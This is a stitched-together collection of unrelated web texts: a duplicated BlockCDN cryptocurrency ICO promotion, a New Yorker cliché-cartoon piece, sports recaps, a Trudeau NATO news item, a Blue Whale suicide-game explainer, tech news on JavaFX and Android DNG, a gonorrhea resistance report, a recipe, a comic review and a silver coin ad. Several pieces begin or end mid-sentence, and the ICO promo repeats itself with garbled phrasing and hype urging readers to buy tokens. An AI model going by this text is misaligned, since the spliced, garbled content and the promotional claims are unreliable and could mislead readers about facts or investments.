Based on the characteristic above, BlockCDN compiles the smart contract to protect the CDN demanders and nodes sharers, make them transact with each other on a fair, open and free platform. Let the CDN service become better and the cost become lower!
Analysis for BlockCDN`s future:
The scale of global CDN construction and market grows constantly, according to the data in the micromarketmonitor related report which was released by PRWeb site recently, Global CDN market size is expected to grow from 3.7034 billion$ in 2014 to 12.1637 billion$ in 2019, during that Period the annual compound growth rate will be 26.9%.
In the near future,because of development of technology, BlockCDN will make tens of thousands of people lose their jobs for sure. If you are positive about the future development of BlockCDN, you can join in BlockCDN and become a fast node, also welcome to of PRWeb site participate the ICO of BCDN which is coming soon!
More introductions about BlockCDN:
1. Office website:
2. BlockCDNs White paper:
3. Videos:
BlockCDN is a newly established company located in HongKong, the core team of entrepreneur consist of 5 members which are fans and technical experts of CDN industry.Because of the boundless love for blockchain, they raise blockchain+ sharing economy model which is a perfect solution and subverter for traditional CDN industryBlockCDN is a decentralized CDN trading market, which deploys Solidity to operate smart contract on Ethereum. With blockchain technology, appeal to global internet idler to share their idle equipment(e.g. personal computer, router, TV box, tablet, mobile phone etc.) to provide the uploaded traffic,thereby making internet fast node ubiquitous,and making Internet access faster,occupy less bandwidth so as to change situation that the cost of bandwidth rental, energy consumption,hardware maintenance for traditional CDN industry are very high.In addition, encourage people to share their idle equipment and bandwidth to avoid waste of resource.BlockCDN is a win-win platform which not only makes people get CDN service with better quality and lower cost, but also let the sharers get good benefits.BlockCDN will relocate the traditional fast nodes, make fast node ubiquitous, and break the territory restrictions. Also because more and more shared caching nodes joined in and the P2P Multi-point service technology applied, CDN demanders will get a brand new acceleration service with safer data, faster access, cheaper price.Without any extra investment, internet idler will get good benefits by sharing idle Internet equipment(include personal computer, router, TV box, tablet, mobile phone etc.)as fast node through BlockCDNThe characteristic of BlockCDN is below:1、Immutable Timestamp Data Store2、Secured from Data Tampering3、Decentralized Trust4、Cryptography intensive5、Symmetric & Asymmetric Cryptography6、Key splitting and Off-chain Data Distribution7、Transactions recorded in BlockchainBased on the characteristic above, BlockCDN compiles the smart contract to protect the CDN demanders and nodes sharers, make them transact with each other on a fair, open and free platform. Let the CDN service become better and the cost become lower!The scale of global CDN construction and market grows constantly, according to the data in the micromarketmonitor related report which was released by PRWeb site recently, Global CDN market size is expected to grow from 3.7034 billion$ in 2014 to 12.1637 billion$ in 2019, during that Period the annual compound growth rate will be 26.9%.In the near future,because of development of technology, BlockCDN will make tens of thousands of people lose their jobs for sure. If you are positive about the future development of BlockCDN, you can join in BlockCDN and become a fast node, also welcome to of PRWeb site participate the ICO of BCDN which is coming soon!1. Office website: http://www.blockcdn.org/ 2. BlockCDNs White paper: http://www.blockcdn.org/pdf.jsp 3. Videos: http://www.blockcdn.org/video/BlockCDN.mp4
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Later, if you've changed rank bitcointalk members. newbie at this time can not be.
Later, if you've changed rank bitcointalk members. newbie at this time can not be.In a post on Page-Turner this week, Teju Cole bemoans the “too many standard formulations in our language” that “stand in place of thought” and that we utter “due to laziness, prejudice, or hypocrisy—as though they were fresh insight.”
Cole’s statement resonates with me, being a lazy, prejudiced hypocrite. Yet, for me, the best examples of sloppy thinking are not those that Cole imaginatively conjures but those standard formulations known as clichés such as “Change is good” or “Go with the flow” or “Think outside the box.”
For a cartoonist, thought doesn’t die with clichés; instead, they’re opportunities to deconstruct thought and reconstruct it as a joke. Here are a few examples of my own, using the aforementioned clichés as examples:
Here are more clichés that New Yorker cartoonists have used for the same purpose: “Long story short,” “You can’t legislate morality,” “A word to the wise,” “No man is an island,” “Playing hardball,” “It’s not all peaches and cream,” “The ball is in your court,” “Push the envelope,” “Every dog has his day,” “A feather in your cap,” “Like pulling teeth,” “Getting cold feet,” “Anything worth doing is worth doing well,” “What goes around comes around,” “Take time out to smell the roses,” “That dog won’t hunt,” “Rome wasn’t built in a day,” “Right as rain,” and “The dawn of history.”
Now, before you go and click through the slide show with cartoons that send up these phrases, put your humor hats on and see if you can think of a cartoon in which one or more of these phrases works as the caption. When you’re done, send your best idea to and I’ll have the best one drawn up for next week’s newsletter. Okay, now on to the slide show:VILLANOVA, Pa. -- Already the class of Philadelphia hoops, Villanova is ready to establish it's still king of the Big East.
Jalen Brunson scored 22 points and Daniel Ochefu had 12 points and 10 rebounds to help No. 16 Villanova roll past Penn 77-57 on Monday night.
The Wildcats (10-2) scored the first 14 points and led 30-3, cruising in their final game before the Big East opener Thursday against No. 6 Xavier.
The undefeated Musketeers will surely provide a tougher test than the overwhelmed Quakers (5-7).
"As soon as the ball goes up, we're going to be ready," Ochefu said. "Everyone knows, the Big East is a whole different best."
Up next for Villanova, ringing in the new year in grand fashion.
The Wildcats have breezed through the nonconference portion of their schedule against the unranked lightweights, stomping Nebraska, Akron and La Salle, among others, to assume their usual spot in the Top 25.
But against ranked teams, the Wildcats are 0-2, falling to No. 3 Oklahoma and now-No. 5 Virginia. The Sooners stomped the Wildcats by 23 points and Virginia pulled away late in an 86-75 win.
With a win against Xavier (12-0), the defending Big East champion Wildcats would show the road to the conference championship again starts at the Main Line.
The Wildcats were on cruise control in their final tune-up game before Big East play.
"There's no better learning situation than a game," coach Jay Wright said.
Jackson Donahue led Penn with 18 points. Penn missed 15 of 16 3-point attempts and shot 17 percent overall from the field in the first half.
The Wildcats beat Penn for the 13th straight time and sent the Quakers to their sixth loss overall in seven games.
"I thought our preparation was great, but that's why Villanova's been so good over the last few years," coach Steve Donahue said. "They just have kids that really buy into what they're all about and just take pride in their defense."
Ochefu, a 6-foot-11, 245-pound forward, had a soft touch on two jumpers and scored nine of Villanova's first 11 points. Ryan Arcidiacono converted a three-point play and the Wildcats led 14-0. Arcidiacono scored 13 points.
"I take that shot practically every day at practice," Ochefu said. "They gave me a lot of space and room to shoot."
The Quakers committed four turnovers and missed four shots on their first eight possessions, setting the tone for a miserable game.
Brunson, the highly prized freshman guard, made 9 of 10 shots overall and scored 20 points in the second half.
"They just played us 1-on-1 and I was being aggressive," Brunson said.
The Wildcats have won 13 straight games in the Big 5, round-robin play among five Philadelphia Division I basketball teams that dates to 1955.
TIP-INS
PENN: Guard Antonio Woods, who averaged 11.9 points, left after a hard fall late in the first half. He grabbed his left ankle as he walked to the locker room and did not return. He may have a high ankle sprain.... Donahue made his first career start.
VILLANOVA: The Wildcats missed six straight free throws at one point in the first half.... Guard Kris Jenkins, who sprained his right knee last week against Delaware, scored two points in 19 minutes. Wright said Jenkins didn't play "like he had real confidence."... The Wildcats won their 33rd straight game at the Pavilion.... They can complete a perfect Big 5 season with a win over Temple on Feb. 17.... Wright didn't play his deep subs until there were 44 seconds left in the game.... The Wildcats missed 10 of 11 3-pointers.
BIG GAME
The Xavier game will mark only 15th time two ranked teams have played in the Pavilion. The Wildcats are 11-3. Xavier is the first Top Ten team to play at the Pavilion since No. 4 Pittsburgh on Feb. 12, 2011. Villanova has a 6-7 career record against Top Ten teams at the Pavilion.
UP NEXT:
Penn hosts Binghamton on Saturday.
The Wildcats host Xavier on Thursday in game between Big East favorites.Canada's ambassador to NATO has been tasked with helping to "de-escalate what is obviously a tense situation" after Turkey shot down a Russian fighter plane that flew into its airspace on Tuesday, Prime Minister Justin Trudeau told the CBC's Matt Galloway.
Trudeau's comments came hours after Russian President Vladimir Putin declared the move "a stab in the back by terrorists' accomplices" and said there would be "significant consequences."
Turkey countered that it had every right to defend its airspace as a Russian plane flying a mission over Syria in support of President Bashar al-Assad flew near and then into Turkish airspace.
Trudeau called the incident "very concerning" when asked for his response during a sit-down interview in Ottawa on Tuesday afternoon.
"We're certainly hoping for calm, for reasonable heads to work through this process," Trudeau told Galloway.
"We've instructed our NATO ambassador to engage in a constructive way with our fellow NATO countries and try to de-escalate what is obviously a tense situation."
Turkish officials said that a Russian Su-24 ignored several warnings as it neared, and then flew into, Turkish airspace during a mission over neighbouring Syria. Russia is providing air support to Assad as he wages a ground war against rebels.
Turkey has been concerned about what it says have been repeated incursions by Russian planes into its airspace. Officials spoke to the Russian ambassador to Turkey about the matter just last week.
Russia "will never tolerate such atrocities as happened today," Putin said Tuesday, and called on the international community to "fight this evil."
U.S. President Barack Obama and French President Francois Hollande, speaking at a joint news conference in Washington, said that while Turkey had a right to defend its airspace, both sides should work to prevent further escalation.
Trudeau said Tuesday that he is "somewhat reassured" that Putin and Turkey's President Recep Tayyip Erdogan met just a couple of weeks ago.
"I know that the kinds of conversations that must be going on at the highest level right now are not easy conversations," Trudeau said.
"But I know that nobody wants this to escalate or to spiral out of control, and I'm certainly counting on Canada to remain a productive voice in making sure that cooler heads prevail and that calm is restored."UK parents are being told to stay alert for signs of their children engaging in a disturbing social media game that has been linked to at least 130 deaths in Russia.
Safety fears were raised after a UK police force and a local school warned of the terrifying threat of the Blue Whale game – an alleged clandestine online game run by anonymous 'Masters' that encourage participants to compete in a disturbing series of challenges.
What is the Blue Whale game?
The Blue Whale Game or Blue Whale Challenge reportedly stems from an online social group where its administrators, referred to as 'Masters', issue tests to participants over the course of a 50-day challenge.
These challenges allegedly begin as innocuous requests, such as watching horror films or waking up at a particular time of night. As the 'game' progresses participants are then subjected to increasingly harmful demands – most notably carving the outline of a blue whale on their own skin.
To 'win' the game, the players are reportedly ordered to commit suicide. It has also been reported that those unwilling to follow the final order are told that their families will be killed.
The game is also reportedly spread under several other names, such as 'I'm in the game', 'Wake me at 4:20', F57, 'A Quiet House/A Silent House', all via social hashtags.
Where does the Blue Whale game come from and is it real?
Initial reports of Blue Whale games originated from Russia where around 130 youth suicides between November 2015 and April 2016 have been linked to the deadly challenge by certain national publications. This number has been heavily disputed, however.
Radio Free Europe noted in February that "dozens of suicides and attempted suicides in Russia, Kazakhstan, and Kyrgyzstan have been provisionally linked to the game" without conclusive evidence. The site did, however, interact with a self-proclaimed curator of the Blue Whale game on Russian social media site "VKontakte", which can be read here.
What Blue Whale cases have been reported and who is at risk?
Reports claim that Blue Whale victims are primarily teenage girls, with the aforementioned Russian site VKontakte often linked to the game.
The most publicised case attributed to the Blue Whale challenge relates to the deaths of 15-year-old Yulia Konstantinova and her friend 16-year-old Veronika Volkova on 26 February 2017, who both fell to their deaths from the roof of a 14-storey block of flats in the Irkutsk city of Ust-Ilimsk.
Local reports claimed the pair had engaged in the suicide game on the social platform. Konstantinova allegedly posted an image of a blue whale to the platform and both girls ended the thread with the word 'End' prior to their deaths.
At the time, the Russian Investigative Committee (RIC) noted that "particular attention during the investigation of the criminal case will be given to the study of their social contacts on the internet."
Another case, linked to suicide social groups, involved a 14-year-old Russian girl who is believed to have died after jumping under a train.
Has the Blue Whale game come to the UK?
At present there are only unconfirmed reports of Blue Whale deaths and there is no evidence of its presence in the UK at this time.
Concerns in the UK were raised after the headteacher of Woodlands School in Basildon, Essex sent a letter to its pupils' parents addressing the 'craze'. In the letter, obtained by Essex Live, Headteacher David Wright wrote:
"We have discovered a game through the police that we feel you should be aware of. As you already know from my previous letters, we have a duty of care for our pupils and are striving to do all we can to ensure that you are given the latest information to help safeguard our young people. It is called The Blue Whale Game and is played via many social media platforms. Players are given a master who controls them for 50 days and each day they are given a task to complete. One task might be to wake up in the middle of the night and they steadily escalate with another take being for them to scratch a blue whale somewhere on their body. On the 50th day the masters behind the game instruct the young people to commit suicide and sadly across the world some have done this. Please continue to support us in keeping all our young people safe and should you have any questions please do not hesitate to contact me."
The BBC has reported that "a number of police forces" are aware of the challenge. It also noted that the Hertfordshire Constabulary is advising parents "to be vigilant and monitor children's internet usage".
A Metropolitan Police spokesperson declined to comment on the topic when contacted by IBTimes UK.
What is #OpBlueWhale?
Hacktivists allegedly connected to the notorious hacker collective Anonymous have addressed the Blue Whale challenge in a campaign dubbed #OpBlueWhale.
"We launch that operation #OpBlueWhale to save all children in Europe from that dangerous game. Behind of that game is Russian, Romanian criminals. We have found all moderators of that game, and we have all information about the moderators. We will destroy that game. We have already saved a lot of children from suicide," one of the hackers said.
The Anonymous splinter group also claims to have identified some administrators involved in the game and is actively working to shut down the culprits.
The Samaritans provides a free support service for those who need to talk to someone in the UK and Republic of Ireland. Visit Samaritans.org or call 116 123 (UK) or 116 123 (ROI), 24 hours a day, 365 days a year. Visit this website to find a support phone number in your country.Oracle on Tuesday showed JavaFX rich client software running on both an Apple iPad and a Google Android-based Samsung Galaxy tablet, along with introducing a separate project using HTML5 to bring Java to Apple's iOS platform, called Project Avatar.
The company at the JavaOne conference in San Francisco also cited intentions to converge its Java ME (Micro Edition) platform, which puts Java on mobile devices, with Java SE (Standard Edition). Oracle also said it was delaying until 2013 the release of Java SE 8; it had been due next year.
[ Sun Microsystems in 2008 tried to get Java on iOS devices. | For more on Java, subscribe to InfoWorld's Enterprise Java newsletter. ]
Java has been barred from Apple's iOS devices, thanks to Apple's official policy not allowing third-party technologies, such as Flash Player or Java, on the units. But a brief demonstration showed a JavaFX game running on an iPad. This effort effectively puts Java on iOS but is still in a developmental mode. "We want to hear from the community. If this is something you want to see, we're happy to make it a priority," said Nandini Ramani, vice president of development in the Oracle Fusion Middleware Group. The Samsung Android device ran the demo as well, although Oracle referred to the device as a "Linux" unit without mentioning Android. Oracle is suing Google over Android, alleging patent violations.
JavaFX will be offered via open source, including the framework and components. Oracle's direction for JavaFX pleased analyst Al Hilwa, of IDC. "Overall I like what I am seeing in the way JavaFX is moving. Turning it into a framework to be used from within Java is definitely a better approach. I like open sourcing it. I would love to see it bring Java back into a tool for cross-platform mobile development."
A JavaOne attendee lauded Oracle's plans for JavaFX on iOS. "It's a huge market," for JavaFX applications, said Daryl Gerlach, Websphere portal architect at Phoenix Contact, which makes industrial electrical components.
With Project Avatar, the company is proposing a solution for dynamic rich clients, featuring HTML5 on the browser, Java applications, and Java EE (Enterprise Edition) in the cloud. Avatar is intended to improve interoperability between HTML5 and Java to simplify the development of rich client/server interaction for cloud-based applications, Oracle said. In demonstrating Avatar, Oracle officials leveraged an Apple iPod.
Avatar can forge a hybrid combination in which the UI is written via HTML5 and the model and controller are built in Java, enabling an application that looks like any other iOS application. "The basic idea is that you have a Java and an HTML5 hybrid app which can run on mobile devices," said Adam Messinger, Oracle vice president of development for Fusion Middleware. Avatar unites Java ME, SE, and EE, Messinger explained. The Java Virtual Machine is linked to the program, enabling compliance with Apple rules, according to Messinger.
Bridging the divide between Java ME and SE, Oracle plans to let Java ME developers benefit from Java SE language enhancements, leveraging consistent debugging, profiling, and diagnostics across both platforms. CDC (Connected Device Configuration) technology from Java ME will be fitted atop Java SE via a CDC profile. At this juncture, Oracle has made no statements about discontinuing Java ME, however. The company anticipates its Java ME specification will provide for a smartphone experience on feature phones.
With Java SE 8, Oracle is pushing delivery out from late 2012 to the summer of 2013; Oracle just released Java SE 7 in July. "As we've talked to the community, we've heard that the pace is too rapid," Messinger said. "Too rapid for certification, too rapid for updates."
Java SE 8 will feature Project Jigsaw capabilities, which involve a module system for Java applications and the Java platform, as well as Project Lambda, providing closures and related features in the Java language as well as parallel operations in Java collection APIs. JVM convergence is featured as well, along with a JavaScript-on-JVM engine via Project Nashorn. JavaScript and Java interoperability will be featured. Java SE 8 also is set to have JavFX 3.0 as a next-generation client. Separately, Oracle on Tuesday also announced a developer preview of Java Developer Kit 7 for Mac OS X.
This article, "Oracle shows JavaFX on iOS and Android," was originally published at InfoWorld.com. Follow the latest developments in business technology news and get a digest of the key stories each day in the InfoWorld Daily newsletter. For the latest developments in business technology news, follow InfoWorld.com on Twitter.There are five 3-0 teams in the NFL. Do you know what they have in common? It's not All-Pro quarterback play. For all the emphasis we put on the importance of finding a truly great leader under center, the quarterbacks who have started for those undefeated teams are Joe Flacco, Trevor Siemian, Carson Wentz, Sam Bradford, Shaun Hill, Jimmy Garoppolo and Jacoby Brissett. That's a group that includes four passers making their first NFL starts this season, a guy coming off of a torn ACL, a career backup and a quarterback who was traded one week before the season started.
Yes, those quarterbacks have played above expectations as a group, but there's a more obvious factor influencing our perception of their play and linking the teams: their defenses.
Four of the five undefeated teams rank among the five stingiest defenses in the league so far this season in terms of points allowed, with the fifth team, the Broncos, in eighth. The defending champs are the most recent example of how a team can overcome middling quarterback play to win a Super Bowl, as they did in 2015. When they get above-average play from their passer, as the Broncos did from Siemian on Sunday, great defenses can make even really good teams like the Bengals look like they don't belong.
Who has the best defense in football right now? It's tough to say, if only because three weeks isn't a whole lot of data. Last year, the teams who were tops in the league through three weeks were generally among the best in football, but there was a lot of shuffling to be done. The Seahawks, who finished with the league's best scoring defense, were 10th after three games. They were just ahead of the Eagles in 11th, and Philly ended up finishing with the fifth-worst defense in the league.
Let's try to run through the best defenses in the league, then, with the numbers from the first three weeks of 2016 and a few other useful dollops of information. (Week 3 isn't over, but let's just say Atlanta and New Orleans aren't near this list.) What each team has done in 2016 is the most recent and important information, but this also will consider how they performed in 2015, the sustainability of that performance, and the quality of the opposition they've faced so far this season. There's no bad spot on this list: Every one of these defenses is great. After seeing a run of dominant performances on Sunday, though, it seemed like a good idea to take stock of where the best of the best are at after Week 3.
Fletcher Cox and Richard Sherman have helped their defenses get off to hot starts this season. USA TODAY Sports, AP Photo
This is almost entirely for what the Cardinals did last year and in how they made Jameis Winston look like a high-school quarterback in Week 2. It's certainly not for Sunday, when a moribund Bills offense without Sammy Watkins ripped them to shreds and ran for 208 yards. The pass rush was still around, as the Cardinals sacked Tyrod Taylor four times and knocked him down eight times in 29 dropbacks, but the run defense wasn't. While the Cardinals took down the Bills for negative yardage four times on the ground, Buffalo had two touchdown runs of 20 yards or more to go with a 49-yard run by Taylor.
While the Bills were a relatively unimpressive 4-of-13 on third down on Sunday, third downs have been the notable problem for the Cardinals this year. They're struggling to get off the field. Last year, teams converted on 35.7 percent of their third-down tries against Arizona, which was the eighth-best third-down defense in the league. This year, the Cards are up at 45.2 percent, which is the sixth-worst rate in the league. That alone isn't a justification for failing -- there are three teams in this top 10 with worse rates -- but it's a start for their problems.
Arizona's secondary is still a work in progress. Brandon Williams was a mess against the Patriots in Week 1 before giving way to Marcus Cooper part of the time in Week 2 and ceding his starting job this past week. Tyrann Mathieu, who was so valuable in 2013 and 2015 as a slot corner, isn't fully recovered from a torn ACL and is playing a vanilla free safety role while he plays through pain. They're not scaring receivers right now, as evidenced by ESPN Stats & Information's estimate that Cardinals opponents have dropped just 0.9 percent of passes this year, the lowest rate in the league. There are other factors -- the defense gets the scoring blame for Buffalo's blocked field goal and subsequent touchdown return yesterday -- but given that the Cards were expected to scoot through their early-season slate, this is a disappointing start from a defense that can be great. They should improve as the season goes along.
The Panthers have faced Siemian, Blaine Gabbert and Bradford this year. They've allowed 70 points, which goes down to 64 if you ignore Minnesota's punt return touchdown from Sunday. The Panthers are allowing only about four additional points per game versus their sixth-best scoring defense from a year ago, but they're failing to dominate teams who are missing players at key positions and whose offenses are charitably works in progress.
Luke Kuechly and Thomas Davis are leading a defense that is breaking in some new cornerbacks. AP Photo/Bob Leverone
The problem, in part, is the offense putting Carolina in tough situations. Last year, the Panthers' offense turned over the ball just 19 times in 16 games, the eighth-best rate in the league. This year, through three weeks, they've given away the ball eight times. The eight subsequent offensive drives after those giveaways started with an average of 40 yards to go for an opposing touchdown and produced a total of 30 points, nearly half of the total Carolina has allowed on defense this year. The defense's average starting field position is the seventh-worst figure in the league, with 68.7 yards to go for an opposition score.
Left to their own devices, the Panthers have been good enough on defense. They've produced three-and-outs on a league-high 51.3 percent of opposing drives this season. Teams are converting on only 33.3 percent of their third downs, the sixth-best rate in the NFL. Their red zone defense has been effective. But this was a unit that thrived on takeaways last year, snatching the ball away on a league-high 19.4 percent of opposition drives. This year, they're in ninth in the same category, at 15.4 percent. That's not a huge difference, but these are the sorts of passers the Panthers should be feasting on. If they're merely a pretty good defense against the likes of Siemian and Gabbert, their secondary will need to look a lot better against the Matt Ryans and Drew Breeses to come.
Baltimore is back. Nobody will argue that they've played threatening competition, given that the Ravens have faced the Bills, Browns and Jaguars in three weeks, but the Ravens have allowed just 44 points total. Their run defense has generally been excellent; they did allow one 85-yard touchdown run to Isaiah Crowell (not good), but the Ravens have held the other 67 rushing attempts they've faced to a total of 173 yards, or less than 2.6 yards per carry (actually great).
The new Ravens are built less around a pair of dominant edge rushers and more around the interior of their defense, where they're strong up the middle. Nose tackle Brandon Williams has to be one of the most underrated players in football, while the breakout season that seemed to be in the cards for Timmy Jernigan in 2015 has begun to unspool this year. Jernigan has three sacks and six hits through three games. C.J. Mosley continues to show off his range as one of the best cover linebackers in the league, while Eric Weddle has solidified things for the Ravens in the backfield since coming over from San Diego.
Weddle is directing traffic, but this is a disciplined, well-coached defense all around. The Ravens don't have a great secondary, but they're often in the right place and have been allowing a league-low 3.46 yards after catch per reception. When the defense gets a hand on running backs, the play stops; Baltimore is allowing 0.99 yards after contact on the ground, the lowest rate in the NFL. They have the second-fewest defensive penalties in the league (four) through three games.
To be fair, their turnover numbers are a little inflated. The Ravens have five picks over three games, but two of them were desperation throws on the final drives of their last two contests. On the other hand, they've also forced three fumbles on defense and failed to recover any of them |
gonorrhea strains tested were susceptible to azithromycin, but now about 20 percent are resistant to the drug.
The woman was treated with the drug combination, and in her case, the azithromycin cured her infection. But with resistance to that drug rising, that cannot be considered a given.
Untreated gonorrhea can lead to infertility and increase the risk that an infected person will contract HIV. Infants born to a woman who is infected can develop blindness as a consequence of contracting the bacteria during birth.
The number of gonorrhea infections in the U.S. has risen sharply over the past few years. There were 335,000 cases diagnosed in 2012, but by last year that number had risen to nearly 469,000, according to data from the CDC. Infection rates are rising among all ages of sexually active people.
That makes the problem of increasing resistance even more acute, said Torrone, who was not involved in the new study.
“We know there’s a lot more gonorrhea out there, which means a high probability of maybe coming into contact with a strain that has reduced susceptibility,” she told STAT.
Dr. Alan Katz, who is with Hawaii’s state board of health, has also seen evidence that the power of the current therapy for gonorrhea is eroding.
Katz and his colleagues reported last year on a cluster of cases in Hawaii where the infecting bacteria had high-level resistance to azithromycin and weakening susceptibility to ceftriaxone.
The Quebec case gives him pause.
“This worries me. It worries me because we haven’t seen the ceftriaxone decreased susceptibility at this level,” Katz said.
Everyone involved in the fight against gonorrhea knows that it’s only a matter of time before the bacteria evolve to withstand the current therapy. “Gonorrhea is a really smart bug, and it has developed resistance to most of the recommended treatments in the past,” Torrone said.
So what happens then? Treatment becomes a lot harder, experts predict. Drug doses will likely be increased — in Britain, the standard treatment already involves double the dose of ceftriaxone used in the United States, Torrone said.
The current treatment paradigm — a person who tests positive is given the drugs and rarely asked to come back for retesting to ensure they are cured — may no longer work. Testing may require trying to grow the bacteria from a sample to see if any antibiotics work against it. That’s currently only done in a small number of cases.
Scientists are also looking at older antibiotics that can be harder to take, drugs that have largely stayed on the shelf because they have unpleasant side effects. “Are we going to have to go to these really killer drugs to deal with gonorrhea?” Katz wondered.All of my favorite flavors together in one delicious dish!
Step 1
First make the Polenta: Lightly oil an 8 inch square baking pan and set aside. Bring the Water, salt, oregano and lemon zest to a boil in a medium saucepan. Slowly whisk in the cornmeal, and cook, stirring continuously until mixture is thick and starts spitting cornmeal all over the place. About 1-2 minutes. Immediately pour into prepared pan and smooth the top. Let cool for at least an hour in the fridge until firm. When you are ready to eat, unmold the polenta from the pan and cut it into small cubes. Set aside.
Step 2
Heat the olive oil in a large skillet over medium heat. Add onions and cook for 3 minutes. Next add garlic, cooking and stirring for an additional 30 seconds.
Step 3
Deglaze the pan with the water and add kale and olives. Cook and stir until kale has wilted, about 1-2 minutes. Lastly, add polenta cubes and tomatoes. Slightly mash the cubes and cook until heated through, about 4-5 minutes. Stir in salt and pepper and serve immediately.Aliens: Defiance #1
Dark Horse Comics
Written by: Brian Wood
Art by: Tristan Jones
Color by: Dan Jackson
The Alien franchise has always held a special place in my stomach (get it), as it was my first real taste of sci-fi horror and graphic gore. I still remember hiding Alien comics from my parents for fear of punishment and the classic “your rotting your brain” speech. Now, here we are 30 years later and I’m still reading and loving Alien comics and thankfully Dark Horse is still releasing them, their latest being Aliens: Defiance #1.
In Alien: Defiance #1 we are introduced to disabled Marine Zula Hendricks as she is sent on what is a seemingly routine mission to salvage a ship for the Weyland-Yutani corporation. It wouldn’t be an Alien adventure if things didn’t go horrible wrong as the ship is over run with Xenomorphs. As Weyland-Yutani’s true ploy is reveled the expeditions synthetic leader has other plans.
The thing I liked most about this comic is it felt inherently Aliens. Wood understands the property and what makes it popular. This also means it doesn’t really explore any new narrative ground, as we get very familiar characters, dynamics and even plot twists. But again, Wood makes this story feel right at home in the Alien universe with its tension, intrigue and the most importantly, intense violence and gore. We are forced to make some logic leaps, as I found myself asking why the Marines would send a solider who can barely walk on a mission, but that can be explained in subsequent issues. Despite some minor miss steps Wood still manages to set up a compelling Aliens tale.
In Alien comics the art is always extremely important as it must balance a ton of factors including maintaining the aesthetic of the films. Tristan Jones provides pencils that perfectly encapsulate everything I loved about those 90s Aliens comics. His lines are jagged and gritty but with impeccable detail. While Dan Jackson ups the tension and intensity with his color pallet and use of dramatic tones. Jones and Jackson combines powers in Aliens: Defiance #1 to create imagery that will have every Aliens fan bursting from the chest with excitement.
Aliens: Defiance #1 is not a perfect comic as it has some minor plot holes and logic leaps but Wood, Jones and Jackson create a comic that hearkens back to the hay day of the Alien franchise. Its a good start with some stellar art but lets hope the story tightens and the action intensifies as the journey continues.There have been rumblings of RAW-style image capture support in Android for some time now, and it looks like the "L" release will finally bring photographers everywhere the freedom to individually process and archive their smartphone photos DSLR-style. The "L" developer documentation specifically mentions the new DngCreator class, an API that will allow camera apps to capture images and save them in the Digital Negative format, an open standard published by Adobe as a more generally-compatible alternative to RAW images (which generally require OEM or camera-specific plugins).
DNG images have very minimal processing applied and exhibit basically the same compression as RAW files, meaning you're getting all of the data the sensor captures instead of letting the image processor do the work of trimming things down and adjusting the image to what it perceives as a desirable result. Instead, you can then take that DNG file to something like Lightroom or Photoshop and apply fine adjustments to it to get exactly the image you want. If you've ever captured and processed RAW images using your own camera, you know that it can make all the difference for some photos, because you have much more data to work with when adjusting a RAW file versus an already-processed JPEG. DNGs also have the benefit of (usually) being packaged with a JPEG thumbnail image, so previewing them isn't nearly as processor-intensive.
Here's the blurb from the developer documentation:
The DngCreator class provides functions to write raw pixel data as a DNG file. This class is designed to be used with the RAW_SENSOR buffers available from CameraDevice, or with Bayer-type raw pixel data that is otherwise generated by an application. The DNG metadata tags will be generated from a CaptureResult object or set directly. The DNG file format is a cross-platform file format that is used to store pixel data from camera sensors with minimal pre-processing applied. DNG files allow for pixel data to be defined in a user-defined colorspace, and have associated metadata that allow for this pixel data to be converted to the standard CIE XYZ colorspace during post-processing. For more information on the DNG file format and associated metadata, please refer to the Adobe DNG 1.4.0.0 specification
Great news for smartphone cameras, to be sure.Lego Bionicle is back in town as we all know – and there gonna be a new wave of sets this summer. In Nuremberg at the Toy Fair we have seen the new figures: Images and video.
I don’t know much about Lego Bionicle. I don’t have any of those figures here in my office. But I know, that many folks out there like Bionicle. And that is a good thing.
So Matthias and I try to take images of most of them at the International Toy Fair in Nuremberg.
The colours are different – we have seen a few shooter and same technic bricks around, but… I think, I put the images of ‚Uxar – Creature of Jungle‘ (71300), Ekimu the Mask Maker (71312), Umarak the Destroyer (71316) and all the others just down below.
Please do not copy our zusammengebaut.com images without permission!
Toy Fair Updates also on Twitter, Facebook, YouTube or Instagram.The records continued to fall for the American Silver Eagle coin program in the 2010s, and 2014 marked another record-setting year for the United States Mints flagship program. Between 2008 and 2011, the American Silver Eagle coin broke mintage records in four consecutive years. After two years of level sales figures, the 2014 American Silver Eagle coin brought a surge in demand and again broke the US Mints sales record. Right now, the 2014 American Silver Eagle coin is available from JM Bullion.
Coin Highlights:
Mintage totaled 44.7 million American Silver Eagle coins!
29th annual striking of the American Silver Eagle!
Arrives in a protective individual flip, mint-sealed tube of 20, or Monster Box of 500.
Protect your investment with 40.6mm Direct Fit Air-Tite Capsules or 40.6mm Air-Tite Coin Tubes, which hold 20 coins.
Contains 1 oz of.999 pure silver.
Bears a face value of $1 (USD) backed by the federal government.
Adolph A. Weinmans Walking Liberty on the obverse.
John Mercantis heraldic eagle on the reverse.
The West Point Mints W mint mark features on proof and burnished versions.
The Great Recessions impact on precious metal prices and demand pushed American Silver Eagle coin sales to unprecedented levels following 2008. The mints popular silver eagles saw record-breaking sales in four consecutive years from 2008 to 2011. Even the off years of 2012 and 2013 featured level sales around 34.3 million annually.
After those two flat years, the Silver Eagle surged again to break the previous record of 40.02 million from 2011. The 2014 American Silver Eagle was powered largely by the demand for and popularity of the bullion version of the coin. The bullion American Silver Eagle coin in 2014 posted a sales record of 44 million, not to mention the production of the additional proof and burnished specimens.
Record-low prices in silver during 2014 led to a surge in demand for the coins this year. The bulllion and burnished versions of the coin actually sold out before the end of the calendar year.
On the obverse of the coin, Adolph A. Weinmans Walking Liberty design is featured. This design originally featured on the Walking Liberty Half Dollar from 1916 to 1947. The reverse of the coin bears the heraldic eagle of the United States, and was refined by Chief Engraver of the United States Mint, John Mercanti.
Please feel free to reach out to JM Bullion with any questions regarding the 2014 American Silver Eagle coin, silver spot prices or any of our other product offerings. Our associates are available at 800-276-6508, online using our live chat, and via our email address. You may also want to check out our full selection of Silver Eagle Coins which includes backdate coins, proofs and certified editions.BUIES CREEK — At some point during Saturday’s 45-10 loss to Drake, Campbell football coach Mike Minter turned his attention away from his black-clad team on the field to glance longingly over at the 22 players in orange jerseys standing along the sideline.
It was as if he was an eager child eyeing gifts under a tree the week before Christmas.
The former Carolina Panthers safety knew there was something good awaiting him. He just has to bide his time before unwrapping the presents and begin playing with them.
Those 22 in orange are the first class of scholarship players Minter was able to recruit during his five-year tenure with the Camels. Their participation would have given their team a much better chance at victory than the injury-riddled unit pieced together on the field.
But because they won’t be eligible to play in a game until next season when Campbell makes the jump to FCS scholarship status as a member of the Big South Conference, all Minter could do was take a deep breath and dream.
